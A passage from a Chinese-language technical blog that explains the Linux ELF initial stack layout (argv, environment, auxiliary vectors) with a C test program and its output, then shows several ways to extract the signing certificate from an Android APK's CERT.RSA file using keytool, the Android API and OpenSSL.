&lt;p&gt;该图主要参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;articles.manugarg.com&#x2F;aboutelfauxiliaryvectors.html&quot;&gt;这里&lt;&#x2F;a&gt;, 但进行了修改，因为在本地环境编写代码验证发现&lt;code&gt;[auxv[term]]&lt;&#x2F;code&gt;到&lt;code&gt;[argument ASCIIZ strings]&lt;&#x2F;code&gt;这部分区域的结构并不像参考文章里图示所展示的那样&lt;&#x2F;p&gt;
&lt;p&gt;通过翻阅ELF Loader源码&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;blob&#x2F;master&#x2F;fs&#x2F;binfmt_elf.c&quot;&gt;linux&#x2F;fs&#x2F;binfmt_elf.c&lt;&#x2F;a&gt;，找到与初始化堆栈相关的函数&lt;code&gt;create_elf_tables&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我把&lt;code&gt;create_elf_tables&lt;&#x2F;code&gt;函数里面操作堆栈的代码圈出如下图所示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-42818020-5f836974-8a02-11e8-8366-9d4bc052c5d1-20240421230306-2vtx6ar-21ac7a.jpg&quot; alt=&quot;code1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-42818028-64679032-8a02-11e8-89c6-e8c7bc482926-20240421230307-h9a1ppe-3bef7c.jpg&quot; alt=&quot;code2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;标号1处的arch_align_stack函数具体实现如下, 该函数定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;blob&#x2F;master&#x2F;arch&#x2F;x86&#x2F;kernel&#x2F;process.c&quot;&gt;linux&#x2F;arch&#x2F;x86&#x2F;kernel&#x2F;process.c&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;unsigned long arch_align_stack(unsigned long sp)
{
	if (!(current-&amp;gt;personality &amp;amp; ADDR_NO_RANDOMIZE) &amp;amp;&amp;amp; randomize_va_space)
		sp -= get_random_int() % 8192;
	return sp &amp;amp; ~0xf;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该函数将堆栈指针向下移动了x(0 &amp;lt;= x &amp;lt;=8192), 分配出[padding for align]这部分空间&lt;&#x2F;p&gt;
&lt;p&gt;标号2的代码为[String identifying platform]在栈上分配空间并进行赋值操作&lt;&#x2F;p&gt;
&lt;p&gt;标号3的代码生成16bytes大小的随机数,然后为[rand bytes]在栈上分配空间并进行赋值操作&lt;&#x2F;p&gt;
&lt;p&gt;标号4的代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sp = STACK_ADD(p, ei_index)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在栈上分配辅助向量(auxiliary vector)所需存储空间&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;items = (argc + 1) + (envc + 1) + 1;
bprm-&amp;gt;p = STACK_ROUND(sp, items);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在栈上分配argc, argv, encironment vector所需存储空间, 值得注意的是这两步都只是移动堆栈指针分配空间,并没有进行赋值初始化数据操作&lt;&#x2F;p&gt;
&lt;p&gt;标号5, 6, 7, 8的代码做了如下操作
5. 初始化栈上argc的值
6. 初始化栈上argv的值
7. 初始化栈上envp的值
8. 初始化栈上auxv的值&lt;&#x2F;p&gt;
&lt;p&gt;通过阅读代码可以看出执行结果与上面的结构图是相匹配的, 可能会有疑惑的地方就是图示中[padding]这一区域, 这一块数据来源如下：&lt;&#x2F;p&gt;
&lt;p&gt;通过上面解释我们可以看到标号4的代码在栈上一次性分配了argc, argv, envp auxv所需要的空间,然后再通过堆栈指针按顺序向上初始化每一块数据, 重点在&lt;strong&gt;于分配的空间并不刚好等于所需空间&lt;&#x2F;strong&gt;, 因为标号4的分配空间时使用了宏STACK_ROUND, 该宏定义如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#define STACK_ROUND(sp, items) \
	(((unsigned long) (sp - items)) &amp;amp;~ 15UL)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;会向下16字节对齐,因此分配的空间可能会比所需空间多,而标号5, 6 ,7 ,8的初始化操作又是从栈顶初始化的,所以最后在[auxv&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;Elf64_auxv_t&quot;&gt;term&lt;&#x2F;a&gt;]和[rand bytes]这两块区域之间会多出[padding]这块数据&lt;&#x2F;p&gt;
&lt;p&gt;最后编写的测试代码如下&lt;&#x2F;p&gt;
&lt;p&gt;本机环境&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;$ uname -a
Linux debian 4.16.0-2-amd64 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;1&quot;&gt;#1&lt;&#x2F;a&gt; SMP Debian 4.16.16-2 (2018-06-22) x86_64 GNU&#x2F;Linux&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;elf.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main(int argc, char** argv) {
    int i = 0;
    Elf64_auxv_t *auxv = NULL;
    long *auxv_start_addr = NULL;
    long *auxv_end_addr = NULL;
    long *env_start_addr = NULL;
    long *env_end_addr = NULL;
    long *argv_end_addr = NULL;
    char *platform;
    long *p = (long *)argv;
    char *env_str = NULL;
    unsigned char *rand_bytes = NULL;
    int arg_num = *(p - 1);
    printf(&amp;quot;arg_num:%d\n&amp;quot;, arg_num);
    for (i = 0;i &amp;lt; arg_num;i++) {
        printf(&amp;quot;arg %d:%s\n&amp;quot;, i, *p);
        p++;
    }
    argv_end_addr = p;
    p++;&amp;#x2F;&amp;#x2F;skip null
    printf(&amp;quot;\nenvironment vector:\n&amp;quot;);
    env_str = (char *)*p;
    env_start_addr = p;
    while (*p) {
        printf(&amp;quot;%s\n&amp;quot;, *p);
        p++;
    }
    env_end_addr = p;
    p++;&amp;#x2F;&amp;#x2F;skip null
    printf(&amp;quot;\nauxiliary vectors:\n&amp;quot;);
    auxv = (Elf64_auxv_t *)p;
    auxv_start_addr = (long *)auxv;
    while (auxv-&amp;gt;a_type != AT_NULL) {
        printf(&amp;quot;auxv type:%ld, val:0x%x\n&amp;quot;, auxv-&amp;gt;a_type, auxv-&amp;gt;a_un.a_val);
        if (auxv-&amp;gt;a_type == AT_PLATFORM) {
            platform = (char *)(auxv-&amp;gt;a_un.a_val);
        }
        auxv++;
    }
    auxv_end_addr = (long *)auxv;
    auxv++;&amp;#x2F;&amp;#x2F;skip AT_NULL vector
    printf(&amp;quot;\naddress:%lx, env0_ascii_string:%s\n&amp;quot;, env_str, env_str);
    printf(&amp;quot;address:%lx ~ %lx, argument0_ascii_string:%s\n&amp;quot;, *argv, argv[0] + strlen(argv[0]),*argv);
    printf(&amp;quot;address:%lx ~ %lx, here contain %ld bytes data\n&amp;quot;, platform + strlen(platform) + 1, (char *)*argv - 1, (long)*argv - (long)platform - strlen(platform) - 1);
    printf(&amp;quot;address:%lx ~ %lx, String identifying platform:%s\n&amp;quot;, platform, platform + strlen(platform), platform);
    rand_bytes = platform - 16;
    printf(&amp;quot;address:%lx ~ %lx, rand_bytes[16]:&amp;quot;, rand_bytes, rand_bytes + 15);
    for (i = 0;i &amp;lt; 16;i++) {
        printf(&amp;quot; %d&amp;quot;, *(rand_bytes + i));
    }
    printf(&amp;quot;\naddress:%lx ~ %lx, auxivilary vector\n&amp;quot;, auxv_start_addr, auxv_end_addr);
    printf(&amp;quot;address:%lx ~ %lx, environment vector\n&amp;quot;, env_start_addr, env_end_addr);
    printf(&amp;quot;address:%lx ~ %lx, argv\n&amp;quot;, argv, argv_end_addr);
    printf(&amp;quot;address:%lx, argc\n&amp;quot;, argv - 1);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;本机运行结果如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ .&amp;#x2F;a.out
arg_num:1
arg 0:.&amp;#x2F;a.out

environment vector:
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_MENU_PREFIX=gnome-
LANG=en_US.UTF-8
GDM_LANG=en_US.UTF-8
DISPLAY=:0
COLORTERM=truecolor
DESKTOP_AUTOSTART_ID=1067f02f661904b013153191243121980500000010550007
USERNAME=cike
XDG_VTNR=2
SSH_AUTH_SOCK=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;keyring&amp;#x2F;ssh
XDG_SESSION_ID=2
USER=cike
DESKTOP_SESSION=gnome
WAYLAND_DISPLAY=wayland-0
GNOME_TERMINAL_SCREEN=&amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;Terminal&amp;#x2F;screen&amp;#x2F;1209a8c3_5cad_4323_b8e8_171909ba8809
PWD=&amp;#x2F;home&amp;#x2F;cike&amp;#x2F;workspace&amp;#x2F;linker_loader
HOME=&amp;#x2F;home&amp;#x2F;cike
XDG_SESSION_TYPE=wayland
XDG_SESSION_DESKTOP=gnome
TERM=xterm-256color
SHELL=&amp;#x2F;bin&amp;#x2F;bash
VTE_VERSION=5202
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
XDG_CURRENT_DESKTOP=GNOME
GNOME_TERMINAL_SERVICE=:1.107
XDG_SEAT=seat0
SHLVL=2
GDMSESSION=gnome
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
LOGNAME=cike
DBUS_SESSION_BUS_ADDRESS=unix:path=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000&amp;#x2F;bus
XDG_RUNTIME_DIR=&amp;#x2F;run&amp;#x2F;user&amp;#x2F;1000
PATH=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;games:&amp;#x2F;usr&amp;#x2F;games
SESSION_MANAGER=local&amp;#x2F;debian:@&amp;#x2F;tmp&amp;#x2F;.ICE-unix&amp;#x2F;1055,unix&amp;#x2F;debian:&amp;#x2F;tmp&amp;#x2F;.ICE-unix&amp;#x2F;1055
GTK_IM_MODULE=fcitx
OLDPWD=&amp;#x2F;home&amp;#x2F;cike&amp;#x2F;workspace&amp;#x2F;test
_=.&amp;#x2F;a.out

auxiliary vectors:
auxv type:33, val:0x121d1000
auxv type:16, val:0xbfebfbff
auxv type:6, val:0x1000
auxv type:17, val:0x64
auxv type:3, val:0xdb1e4040
auxv type:4, val:0x38
auxv type:5, val:0x9
auxv type:7, val:0x30912000
auxv type:8, val:0x0
auxv type:9, val:0xdb1e45d0
auxv type:11, val:0x3e8
auxv type:12, val:0x3e8
auxv type:13, val:0x3e8
auxv type:14, val:0x3e8
auxv type:23, val:0x0
auxv type:25, val:0x1200c7c9
auxv type:26, val:0x0
auxv type:31, val:0x1200eff0
auxv type:15, val:0x1200c7d9

address:7ffd1200e5fb, env0_ascii_string:LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
address:7ffd1200e5f3 ~ 7ffd1200e5fa, argument0_ascii_string:.&amp;#x2F;a.out
address:7ffd1200c7e0 ~ 7ffd1200e5f2, here contain 7699 bytes data
address:7ffd1200c7d9 ~ 7ffd1200c7df, String identifying platform:x86_64
address:7ffd1200c7c9 ~ 7ffd1200c7d8, rand_bytes[16]: 193 130 184 246 204 82 221 150 58 249 82 90 18 26 172 195
address:7ffd1200c680 ~ 7ffd1200c7b0, auxivilary vector
address:7ffd1200c548 ~ 7ffd1200c678, environment vector
address:7ffd1200c538 ~ 7ffd1200c540, argv
address:7ffd1200c530, argc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参考&lt;&#x2F;strong&gt;:
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;articles.manugarg.com&#x2F;aboutelfauxiliaryvectors.html&quot;&gt;About ELF Auxiliary Vectors&lt;&#x2F;a&gt;
《程序员自我修养》7.5章节&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue20-huo-qu-qian-ming-apkde-zheng-shu&quot;&gt;Issue20 获取签名apk的证书&lt;&#x2F;h2&gt;
&lt;p&gt;本文介绍获取签名.apk文件的证书的几种方式，重点介绍从.RSA文件中获取&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1. 使用keytool工具从keystrore文件中获取&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ keytool -export -alias key0 -file my.cer -keystore my.jks&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2.&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.android.com&#x2F;reference&#x2F;android&#x2F;content&#x2F;pm&#x2F;PackageInfo#signatures&quot;&gt;调用Android API&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;lt;context_instance&amp;gt;.getPackageManager().getPackageInfo(&amp;lt;context_instance&amp;gt;.getPackageName(),PackageManager.GET_SIGNATURES).signatures[0].toCharsString();&amp;#x2F;&amp;#x2F;context_instance表示是一个Context实例
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. 从.RSA文件中获取&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将被签名过的.apk文件解压即可得到&#x2F;META-INF&#x2F;CERT.RSA文件，接下来我们需要分析CERT.RSA是什么格式文件，里面包含什么信息。&lt;&#x2F;p&gt;
&lt;p&gt;通过阅读Android源码&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;android.googlesource.com&#x2F;platform&#x2F;build&#x2F;+&#x2F;2ba2d8503f397f67285f34d56b953717639e82c5&#x2F;tools&#x2F;signapk&#x2F;SignApk.java&quot;&gt;SignApk.java&lt;&#x2F;a&gt; 中生成.RSA的代码段&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;** Sign data and write the digital signature to &amp;#x27;out&amp;#x27;. *&amp;#x2F;
    private static void writeSignatureBlock(
        CMSTypedData data, X509Certificate publicKey, PrivateKey privateKey,
        OutputStream out)
        throws IOException,
               CertificateEncodingException,
               OperatorCreationException,
               CMSException {
        ArrayList&amp;lt;X509Certificate&amp;gt; certList = new ArrayList&amp;lt;X509Certificate&amp;gt;(1);
        certList.add(publicKey);
        JcaCertStore certs = new JcaCertStore(certList);
        CMSSignedDataGenerator gen = new CMSSignedDataGenerator();
        ContentSigner signer = new JcaContentSignerBuilder(getSignatureAlgorithm(publicKey))
            .setProvider(sBouncyCastleProvider)
            .build(privateKey);
        gen.addSignerInfoGenerator(
            new JcaSignerInfoGeneratorBuilder(
                new JcaDigestCalculatorProviderBuilder()
                .setProvider(sBouncyCastleProvider)
                .build())
            .setDirectSignature(true)
            .build(signer, publicKey));
        gen.addCertificates(certs);
        CMSSignedData sigData = gen.generate(data, false);
        ASN1InputStream asn1 = new ASN1InputStream(sigData.getEncoded());
        DEROutputStream dos = new DEROutputStream(out);
        dos.writeObject(asn1.readObject());
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到代码使用了CMSSignedDataGenerator类去生成.RSA文件，根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bouncycastle.org&#x2F;docs&#x2F;pkixdocs1.5on&#x2F;org&#x2F;bouncycastle&#x2F;cms&#x2F;CMSSignedDataGenerator.html&quot;&gt;CMSSignedDataGenerator的说明文档&lt;&#x2F;a&gt;描述：&lt;code&gt;&quot;general class for generating a pkcs7-signature message&quot;&lt;&#x2F;code&gt;，可知该类是用来生成PKCS7签名信息的，所以生成的CERT.RSA遵循PKCS#7标准，PKCS#7文件格式如下(使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;ASN.1&quot;&gt;ASN.1&lt;&#x2F;a&gt;语法)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SignedData ::= SEQUENCE {
     version Version,
     digestAlgorithms DigestAlgorithmIdentifiers,
     contentInfo ContentInfo,
     certificates[0] IMPLICIT ExtendedCertificatesAndCertificates OPTIONAL,
     crls [1] IMPLICIT CertificateRevocationLists OPTIONAL,
     signerInfos SignerInfos
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;该ASN.1表示法来自&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc2315#section-9.1&quot;&gt;RFC2315&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可以看到PKCS7中包含了证书(certificates)&lt;&#x2F;p&gt;
&lt;p&gt;如何从PKCS#7文件中获取证书呢，这里介绍使用openssl command方式和openssl api方式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;openssl command&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$ openssl pkcs7 -inform DER -in CERT.RSA -print_certs | openssl x509 -outform DER -out CERT.cer&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;openssl api&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;$ cat get_cer_from_pkcs7.c
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;openssl&amp;#x2F;pkcs7.h&amp;gt;
#include &amp;lt;openssl&amp;#x2F;x509.h&amp;gt;
#include &amp;lt;openssl&amp;#x2F;bio.h&amp;gt;
#include &amp;lt;openssl&amp;#x2F;pem.h&amp;gt;
#include &amp;lt;openssl&amp;#x2F;err.h&amp;gt;

int main(int argc, char **argv)
{
    PKCS7 *p7 = NULL;
    FILE *f;
    int i;
    BIO *in;
    BIO *out;
    STACK_OF(X509) *certs = NULL;
    f = fopen(&amp;quot;my.cer&amp;quot;, &amp;quot;wb&amp;quot;);&amp;#x2F;&amp;#x2F;将certificate保存在my.cer文件
    if (f == NULL) {
        perror(&amp;quot;fopen&amp;quot;);
        exit(1);
    }

    CRYPTO_malloc_init();                                               \
    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();

    in = BIO_new(BIO_s_file());
    BIO_read_filename(in, argv[1]);

    p7 = d2i_PKCS7_bio(in, NULL);
    i = OBJ_obj2nid(p7-&amp;gt;type);
    if(i == NID_pkcs7_signed) {
        certs = p7-&amp;gt;d.sign-&amp;gt;cert;
    } else if(i == NID_pkcs7_signedAndEnveloped) {
        certs = p7-&amp;gt;d.signed_and_enveloped-&amp;gt;cert;
    }

    for (i = 0; certs &amp;amp;&amp;amp; i &amp;lt; sk_X509_num(certs); i++) {
        X509 *x = sk_X509_value(certs,i);
        if(i2d_X509_fp(f, x) == 0) {
            perror(&amp;quot;i2d_X509_fp&amp;quot;);
        }
    }
    fclose(f);
}
$ gcc get_cer_from_pkcs7.c -lcrypto
$ ldd a.out
	linux-vdso.so.1 (0x00007ffd77782000)
	libcrypto.so.1.0.2 =&amp;gt; &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libcrypto.so.1.0.2 (0x00007f5defb39000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f5def79a000)
	libdl.so.2 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libdl.so.2 (0x00007f5def596000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f5df01a0000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最终放几张输出截图证明这几种方式提取的证书内容是一样的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Android API&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-44951970-69a41d00-aea5-11e8-88dd-f018c4a81df6-20240421232929-z0qbhfa-eb5e4e.png&quot; alt=&quot;使用Android API获取证书&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;keytool&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-44951974-99ebbb80-aea5-11e8-8494-f86708ca60f8-20240421232930-bplstpn-6867e7.png&quot; alt=&quot;使用keytool获取证书&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;openssl command&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-44951981-bd166b00-aea5-11e8-98bd-1beffca752d2-20240421232932-91qr5dm-773698.png&quot; alt=&quot;使用openssl command获取证书&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;使用openssl api&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 终端演示从 APK 签名块提取证书：在 app-release&#x2F;META-INF 目录用 gcc get_cer_from_pkcs7.c -o get_cer_from_pkcs7 -lcrypto 编译，运行 .&#x2F;get_cer_from_pkcs7 CERT.RSA 生成 my.cer，再用 xxd my.cer 十六进制查看：文件以 3082 0359、3082 0241 开头的 DER 编码证书，其后为版本、序列号、OID 等字段的十六进制与 ASCII 对照。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;user-images.githubusercontent.com&#x2F;12814622&#x2F;44951987-ce5f7780-aea5-11e8-8ddf-5ccd22ba949e.png&quot;&gt;https:&#x2F;&#x2F;user-images.githubusercontent.com&#x2F;12814622&#x2F;44951987-ce5f7780-aea5-11e8-8ddf-5ccd22ba949e.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;参考:&lt;&#x2F;strong&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;d22eb5576c25&quot;&gt;Android中的签名和签名文件的生成过程&lt;&#x2F;a&gt;
